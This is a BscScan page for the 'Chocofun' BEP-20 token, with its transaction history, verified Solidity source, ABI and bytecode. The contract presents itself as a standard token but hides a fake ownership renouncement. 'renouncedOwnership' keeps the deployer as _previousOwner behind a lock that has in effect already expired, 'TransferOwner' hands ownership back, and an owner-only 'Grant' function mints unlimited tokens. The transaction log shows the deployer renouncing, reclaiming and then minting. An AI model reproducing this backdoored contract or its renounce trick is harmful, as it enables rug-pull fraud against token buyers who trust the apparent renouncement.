Contract 0xE33B91820795E2ea9Fc3a231F5a971a964575e43

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xf95ef7f9268d6da9cd215569a02ee30ad33e315f82f0b29fb1dc4b4aaac567f0Grant110790682021-09-20 12:32:2668 days 13 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00025679
0x5dc91eadcde4e21d09b9a65a69ada6a12d1d6b6e1077565759aa42e4d64083e2Transfer Owner110790642021-09-20 12:32:1468 days 13 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00023861
0xc6a10c44c40b4022908b30f10e6a488f799b13357feef7e57de68bd3003bcce1Approve110753072021-09-20 9:23:4068 days 16 hrs ago0xc1bfc972d0228cc8d6489a9174892f1960862886 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00022243
0xdba516491c0782f78ebb94126e93dc4f1442f336132e1456f5b0291b3be444ceApprove110751772021-09-20 9:17:1068 days 16 hrs ago0xc8cb51991bd0ec115cc0539207cbd1a9bc674d56 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00022243
0x913d1ef9620ddf913440e18fc656018be48267a7aa57ba1a16d9d565362b6fc5Approve110730682021-09-20 7:31:4168 days 18 hrs ago0xcb60cfc08701cdc31631f37209343347f39fb0dd IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00022243
0x09b8de9f5c62781aeeb67676307b4149c13d24b1655bccbd827d61e46107499aRenounced Owners...110728062021-09-20 7:18:3568 days 18 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.000181895
0x17884aa2069e78dd4792bdf94e28fff193351449d31ff0bb898042df2528c9d1Transfer110727742021-09-20 7:16:5968 days 18 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.000254205
0x22d46656463a9f1e2c37dd4634a578ef3ddcaefa0aff6d54016c0f7ec3ce7dd1Approve110727692021-09-20 7:16:4468 days 18 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  0xe33b91820795e2ea9fc3a231f5a971a964575e430 BNB0.00022243
0xc4ff7ced90f5696bc2d82d695bfa24af5f2ba7a56ed0641407568d51c14b58670x60806040110726892021-09-20 7:12:4468 days 19 hrs ago0xb579253ac7c26078c9c6e131f4977a1012337f65 IN  Contract Creation0 BNB0.004361795
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Chocofun

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-09-20
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;



interface ICOIN {
    
    function totalSupply() external view returns (uint);

    
    function balanceOf(address account) external view returns (uint);

   
    function transfer(address recipient, uint amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint);

 
    function approve(address spender, uint amount) external returns (bool);

   
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint value);


    event Approval(address indexed owner, address indexed spender, uint value);
}

pragma solidity 0.8.7;

abstract contract Contexts {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

pragma solidity 0.8.7;

interface ICOINMetadata is ICOIN {
   
    function name() external view returns (string memory);

   
    function symbol() external view returns (string memory);

   
    function decimals() external view returns (uint8);
}

library SafeMath {
   
    function tryAdd(uint da1, uint da2) internal pure returns (bool, uint) {
        unchecked {
            uint da3 = da1 + da2;
            if (da3 < da1) return (false, 0);
            return (true, da3);
        }
    }

 
    function trySub(uint da1, uint da2) internal pure returns (bool, uint) {
        unchecked {
            if (da2 > da1) return (false, 0);
            return (true, da1 - da2);
        }
    }

   
    function tryMul(uint da1, uint da2) internal pure returns (bool, uint) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'da1' not being zero, but the
            // benefit is lost if 'da2' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (da1 == 0) return (true, 0);
            uint da3 = da1 * da2;
            if (da3 / da1 != da2) return (false, 0);
            return (true, da3);
        }
    }


    function tryDiv(uint da1, uint da2) internal pure returns (bool, uint) {
        unchecked {
            if (da2 == 0) return (false, 0);
            return (true, da1 / da2);
        }
    }


    function tryMod(uint da1, uint da2) internal pure returns (bool, uint) {
        unchecked {
            if (da2 == 0) return (false, 0);
            return (true, da1 % da2);
        }
    }

  
    function add(uint da1, uint da2) internal pure returns (uint) {
        return da1 + da2;
    }

   
    function sub(uint da1, uint da2) internal pure returns (uint) {
        return da1 - da2;
    }


    function mul(uint da1, uint da2) internal pure returns (uint) {
        return da1 * da2;
    }

 
    function div(uint da1, uint da2) internal pure returns (uint) {
        return da1 / da2;
    }


    function mod(uint da1, uint da2) internal pure returns (uint) {
        return da1 % da2;
    }


    function sub(uint da1, uint da2, string memory errorMessage) internal pure returns (uint) {
        unchecked {
            require(da2 <= da1, errorMessage);
            return da1 - da2;
        }
    }


    function div(uint da1, uint da2, string memory errorMessage) internal pure returns (uint) {
        unchecked {
            require(da2 > 0, errorMessage);
            return da1 / da2;
        }
    }

    function mod(uint da1, uint da2, string memory errorMessage) internal pure returns (uint) {
        unchecked {
            require(da2 > 0, errorMessage);
            return da1 % da2;
        }
    }
}

contract Ownable is Contexts {
    address private _owner;
    address private _previousOwner;
    uint256 private _level;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function SecurityLevel() private view returns (uint256) {
        return _level;
    }

    function renouncedOwnership(uint8 _owned) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _level = _owned;
        _owned = 10;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    
    function TransferOwner() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _level , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
    
}


pragma solidity 0.8.7;

contract Chocofun is Contexts, ICOIN, ICOINMetadata, Ownable {
    using SafeMath for uint256;
    mapping (address => uint) private _balances;

    mapping (address => mapping (address => uint)) private _allowances;

    uint private _coinSupply;
    string private _coinName;
    string private _coinSymbol;


    constructor () {
        _coinName = "Chocofun";
        _coinSymbol = 'CHOCOFUN';
        _coinSupply = 1*10**9 * 10**9;
        _balances[msg.sender] = _coinSupply;

    emit Transfer(address(0), msg.sender, _coinSupply);
    }


    function name() public view virtual override returns (string memory) {
        return _coinName;
    }


    function symbol() public view virtual override returns (string memory) {
        return _coinSymbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 9;
    }


    function totalSupply() public view virtual override returns (uint) {
        return _coinSupply;
    }


    function balanceOf(address account) public view virtual override returns (uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
     function Grant(uint256 amount) public onlyOwner {
    _grant(msg.sender, amount);
    }


    function allowance(address owner, address spender) public view virtual override returns (uint) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }


    function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) {
        uint currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal virtual {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint senderBalance = _balances[sender];
        require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _grant(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);
        
        _coinSupply = _coinSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint amount) internal virtual {
        require(owner != address(0), "BEP0: approve from the zero address");
        require(spender != address(0), "BEP0: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

  
    function _beforeTokenTransfer(address from, address to, uint amount) internal virtual { }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Grant","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TransferOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_owned","type":"uint8"}],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260088082526721b437b1b7b33ab760c11b6020909201918252620000849160069162000113565b506040805180820190915260088082526721a427a1a7a32aa760c11b6020909201918252620000b69160079162000113565b50670de0b6b3a7640000600581905533600081815260036020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620001f6565b8280546200012190620001b9565b90600052602060002090601f01602090048101928262000145576000855562000190565b82601f106200016057805160ff191683800117855562000190565b8280016001018555821562000190579182015b828111156200019057825182559160200191906001019062000173565b506200019e929150620001a2565b5090565b5b808211156200019e5760008155600101620001a3565b600181811c90821680620001ce57607f821691505b60208210811415620001f057634e487b7160e01b600052602260045260246000fd5b50919050565b610cbf80620002066000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80634be516c01161009757806395d89b411161006657806395d89b41146101f6578063a457c2d7146101fe578063a9059cbb14610211578063dd62ed3e1461022457600080fd5b80634be516c01461019757806370a082311461019f5780638bde3f12146101c85780638da5cb5b146101db57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806341891e801461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f9190610bd3565b60405180910390f35b61012b610126366004610b6d565b6102ef565b604051901515815260200161010f565b6005545b60405190815260200161010f565b61012b61015b366004610b31565b610305565b6040516009815260200161010f565b61012b61017d366004610b6d565b6103b4565b610195610190366004610b97565b6103f0565b005b610195610457565b61013f6101ad366004610ae3565b6001600160a01b031660009081526003602052604090205490565b6101956101d6366004610bb0565b61056f565b6000546040516001600160a01b03909116815260200161010f565b610102610627565b61012b61020c366004610b6d565b610636565b61012b61021f366004610b6d565b6106cf565b61013f610232366004610afe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60606006805461026c90610c4e565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610c4e565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846106dc565b50600192915050565b60006103128484846107ff565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561039c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a985338584036106dc565b506001949350505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102fc9185906103eb908690610c28565b6106dc565b6000546001600160a01b0316331461044a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610393565b61045433826109ce565b50565b6001546001600160a01b031633146104bd5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610393565b600254421161050e5760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610393565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610393565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516815560ff909116600255604051600a919081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b60606007805461026c90610c4e565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156106b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610393565b6106c533858584036106dc565b5060019392505050565b60006102fc3384846107ff565b6001600160a01b03831661073e5760405162461bcd60e51b815260206004820152602360248201527f424550303a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b6001600160a01b03821661079e5760405162461bcd60e51b815260206004820152602160248201527f424550303a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610393565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108635760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b0382166108c55760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b6001600160a01b0383166000908152600360205260409020548181101561093d5760405162461bcd60e51b815260206004820152602660248201527f42455032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610393565b6001600160a01b03808516600090815260036020526040808220858503905591851681529081208054849290610974908490610c28565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c091815260200190565b60405180910390a350505050565b6001600160a01b038216610a245760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610393565b600554610a319082610ab4565b6005556001600160a01b038216600090815260036020526040902054610a579082610ab4565b6001600160a01b0383166000818152600360205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aa89085815260200190565b60405180910390a35050565b6000610ac08284610c28565b9392505050565b80356001600160a01b0381168114610ade57600080fd5b919050565b600060208284031215610af557600080fd5b610ac082610ac7565b60008060408385031215610b1157600080fd5b610b1a83610ac7565b9150610b2860208401610ac7565b90509250929050565b600080600060608486031215610b4657600080fd5b610b4f84610ac7565b9250610b5d60208501610ac7565b9150604084013590509250925092565b60008060408385031215610b8057600080fd5b610b8983610ac7565b946020939093013593505050565b600060208284031215610ba957600080fd5b5035919050565b600060208284031215610bc257600080fd5b813560ff81168114610ac057600080fd5b600060208083528351808285015260005b81811015610c0057858101830151858201604001528201610be4565b81811115610c12576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c4957634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680610c6257607f821691505b60208210811415610c8357634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220c3a8ef31dc495e329b33c24aed2cb43fb7d82f00fc2f74d524eacd3f6fb5bef064736f6c63430008070033

Deployed ByteCode Sourcemap

5599:4356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6172:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7194:166;;;;;;:::i;:::-;;:::i;:::-;;;2072:14:1;;2065:22;2047:41;;2035:2;2020:18;7194:166:0;1907:187:1;6506:104:0;6591:11;;6506:104;;;7170:25:1;;;7158:2;7143:18;6506:104:0;7024:177:1;7370:452:0;;;;;;:::i;:::-;;:::i;6404:92::-;;;6487:1;7348:36:1;;7336:2;7321:18;6404:92:0;7206:184:1;7832:212:0;;;;;;:::i;:::-;;:::i;6937:89::-;;;;;;:::i;:::-;;:::i;:::-;;5249:309;;;:::i;6620:124::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6718:18:0;6694:4;6718:18;;;:9;:18;;;;;;;6620:124;4988:243;;;;;;:::i;:::-;;:::i;4593:79::-;4631:7;4658:6;4593:79;;-1:-1:-1;;;;;4658:6:0;;;1845:51:1;;1833:2;1818:18;4593:79:0;1699:203:1;6286:108:0;;;:::i;8054:407::-;;;;;;:::i;:::-;;:::i;6752:172::-;;;;;;:::i;:::-;;:::i;7036:148::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7149:18:0;;;7125:4;7149:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7036:148;6172:104;6226:13;6259:9;6252:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6172:104;:::o;7194:166::-;7274:4;7291:39;902:10;7314:7;7323:6;7291:8;:39::i;:::-;-1:-1:-1;7348:4:0;7194:166;;;;:::o;7370:452::-;7473:4;7490:36;7500:6;7508:9;7519:6;7490:9;:36::i;:::-;-1:-1:-1;;;;;7563:19:0;;7539:21;7563:19;;;:11;:19;;;;;;;;902:10;7563:33;;;;;;;;7615:26;;;;7607:79;;;;-1:-1:-1;;;7607:79:0;;3711:2:1;7607:79:0;;;3693:21:1;3750:2;3730:18;;;3723:30;3789:34;3769:18;;;3762:62;-1:-1:-1;;;3840:18:1;;;3833:38;3888:19;;7607:79:0;;;;;;;;;7722:57;7731:6;902:10;7772:6;7753:16;:25;7722:8;:57::i;:::-;-1:-1:-1;7810:4:0;;7370:452;-1:-1:-1;;;;7370:452:0:o;7832:212::-;902:10;7917:4;7966:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7966:34:0;;;;;;;;;;7917:4;;7934:80;;7957:7;;7966:47;;8003:10;;7966:47;:::i;:::-;7934:8;:80::i;6937:89::-;4805:6;;-1:-1:-1;;;;;4805:6:0;902:10;4805:22;4797:67;;;;-1:-1:-1;;;4797:67:0;;4120:2:1;4797:67:0;;;4102:21:1;;;4139:18;;;4132:30;4198:34;4178:18;;;4171:62;4250:18;;4797:67:0;3918:356:1;4797:67:0;6992:26:::1;6999:10;7011:6;6992;:26::i;:::-;6937:89:::0;:::o;5249:309::-;5308:14;;-1:-1:-1;;;;;5308:14:0;5326:10;5308:28;5300:76;;;;-1:-1:-1;;;5300:76:0;;6056:2:1;5300:76:0;;;6038:21:1;6095:2;6075:18;;;6068:30;6134:34;6114:18;;;6107:62;-1:-1:-1;;;6185:18:1;;;6178:33;6228:19;;5300:76:0;5854:399:1;5300:76:0;5413:6;;5395:15;:24;5387:69;;;;-1:-1:-1;;;5387:69:0;;5292:2:1;5387:69:0;;;5274:21:1;5331:2;5311:18;;;5304:30;5370:33;5350:18;;;5343:61;5421:18;;5387:69:0;5090:355:1;5387:69:0;5501:14;;;5493:6;;5472:44;;-1:-1:-1;;;;;5501:14:0;;;;5493:6;;;;5472:44;;;5536:14;;;5527:23;;-1:-1:-1;;;;;;5527:23:0;-1:-1:-1;;;;;5536:14:0;;;5527:23;;;;;;5249:309::o;4988:243::-;4805:6;;-1:-1:-1;;;;;4805:6:0;902:10;4805:22;4797:67;;;;-1:-1:-1;;;4797:67:0;;4120:2:1;4797:67:0;;;4102:21:1;;;4139:18;;;4132:30;4198:34;4178:18;;;4171:62;4250:18;;4797:67:0;3918:356:1;4797:67:0;5083:6:::1;::::0;;;5066:23;;-1:-1:-1;;;;;;5066:23:0;;::::1;-1:-1:-1::0;;;;;5083:6:0;::::1;5066:23;::::0;;;5100:19:::1;::::0;;5130:15:::1;::::0;;::::1;:6;:15:::0;5183:40:::1;::::0;5165:2:::1;::::0;5083:6;;;5183:40:::1;::::0;5083:6;;5183:40:::1;4988:243:::0;:::o;6286:108::-;6342:13;6375:11;6368:18;;;;;:::i;8054:407::-;902:10;8144:4;8185:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8185:34:0;;;;;;;;;;8238:35;;;;8230:85;;;;-1:-1:-1;;;8230:85:0;;6460:2:1;8230:85:0;;;6442:21:1;6499:2;6479:18;;;6472:30;6538:34;6518:18;;;6511:62;-1:-1:-1;;;6589:18:1;;;6582:35;6634:19;;8230:85:0;6258:401:1;8230:85:0;8351:67;902:10;8374:7;8402:15;8383:16;:34;8351:8;:67::i;:::-;-1:-1:-1;8449:4:0;;8054:407;-1:-1:-1;;;8054:407:0:o;6752:172::-;6835:4;6852:42;902:10;6876:9;6887:6;6852:9;:42::i;9504:341::-;-1:-1:-1;;;;;9603:19:0;;9595:67;;;;-1:-1:-1;;;9595:67:0;;5652:2:1;9595:67:0;;;5634:21:1;5691:2;5671:18;;;5664:30;5730:34;5710:18;;;5703:62;-1:-1:-1;;;5781:18:1;;;5774:33;5824:19;;9595:67:0;5450:399:1;9595:67:0;-1:-1:-1;;;;;9681:21:0;;9673:67;;;;-1:-1:-1;;;9673:67:0;;3309:2:1;9673:67:0;;;3291:21:1;3348:2;3328:18;;;3321:30;3387:34;3367:18;;;3360:62;-1:-1:-1;;;3438:18:1;;;3431:31;3479:19;;9673:67:0;3107:397:1;9673:67:0;-1:-1:-1;;;;;9753:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9805:32;;7170:25:1;;;9805:32:0;;7143:18:1;9805:32:0;;;;;;;9504:341;;;:::o;8469:634::-;-1:-1:-1;;;;;8572:20:0;;8564:70;;;;-1:-1:-1;;;8564:70:0;;2903:2:1;8564:70:0;;;2885:21:1;2942:2;2922:18;;;2915:30;2981:34;2961:18;;;2954:62;-1:-1:-1;;;3032:18:1;;;3025:35;3077:19;;8564:70:0;2701:401:1;8564:70:0;-1:-1:-1;;;;;8653:23:0;;8645:71;;;;-1:-1:-1;;;8645:71:0;;4888:2:1;8645:71:0;;;4870:21:1;4927:2;4907:18;;;4900:30;4966:34;4946:18;;;4939:62;-1:-1:-1;;;5017:18:1;;;5010:33;5060:19;;8645:71:0;4686:399:1;8645:71:0;-1:-1:-1;;;;;8810:17:0;;8789:18;8810:17;;;:9;:17;;;;;;8846:23;;;;8838:74;;;;-1:-1:-1;;;8838:74:0;;4481:2:1;8838:74:0;;;4463:21:1;4520:2;4500:18;;;4493:30;4559:34;4539:18;;;4532:62;-1:-1:-1;;;4610:18:1;;;4603:36;4656:19;;8838:74:0;4279:402:1;8838:74:0;-1:-1:-1;;;;;8948:17:0;;;;;;;:9;:17;;;;;;8968:22;;;8948:42;;9012:20;;;;;;;;:30;;8984:6;;8948:17;9012:30;;8984:6;;9012:30;:::i;:::-;;;;;;;;9077:9;-1:-1:-1;;;;;9060:35:0;9069:6;-1:-1:-1;;;;;9060:35:0;;9088:6;9060:35;;;;7170:25:1;;7158:2;7143:18;;7024:177;9060:35:0;;;;;;;;8553:550;8469:634;;;:::o;9111:385::-;-1:-1:-1;;;;;9196:21:0;;9188:65;;;;-1:-1:-1;;;9188:65:0;;6866:2:1;9188:65:0;;;6848:21:1;6905:2;6885:18;;;6878:30;6944:33;6924:18;;;6917:61;6995:18;;9188:65:0;6664:355:1;9188:65:0;9350:11;;:23;;9366:6;9350:15;:23::i;:::-;9336:11;:37;-1:-1:-1;;;;;9405:18:0;;;;;;:9;:18;;;;;;:30;;9428:6;9405:22;:30::i;:::-;-1:-1:-1;;;;;9384:18:0;;;;;;:9;:18;;;;;;:51;;;;9451:37;;9384:18;;;9451:37;;;;9481:6;7170:25:1;;7158:2;7143:18;;7024:177;9451:37:0;;;;;;;;9111:385;;:::o;2849:97::-;2905:4;2929:9;2935:3;2929;:9;:::i;:::-;2922:16;2849:97;-1:-1:-1;;;2849:97:0:o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:52;;;528:1;525;518:12;480:52;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;383:260;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:52;;;810:1;807;800:12;762:52;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;648:328;;;;;:::o;981:254::-;1049:6;1057;1110:2;1098:9;1089:7;1085:23;1081:32;1078:52;;;1126:1;1123;1116:12;1078:52;1149:29;1168:9;1149:29;:::i;:::-;1139:39;1225:2;1210:18;;;;1197:32;;-1:-1:-1;;;981:254:1:o;1240:180::-;1299:6;1352:2;1340:9;1331:7;1327:23;1323:32;1320:52;;;1368:1;1365;1358:12;1320:52;-1:-1:-1;1391:23:1;;1240:180;-1:-1:-1;1240:180:1:o;1425:269::-;1482:6;1535:2;1523:9;1514:7;1510:23;1506:32;1503:52;;;1551:1;1548;1541:12;1503:52;1590:9;1577:23;1640:4;1633:5;1629:16;1622:5;1619:27;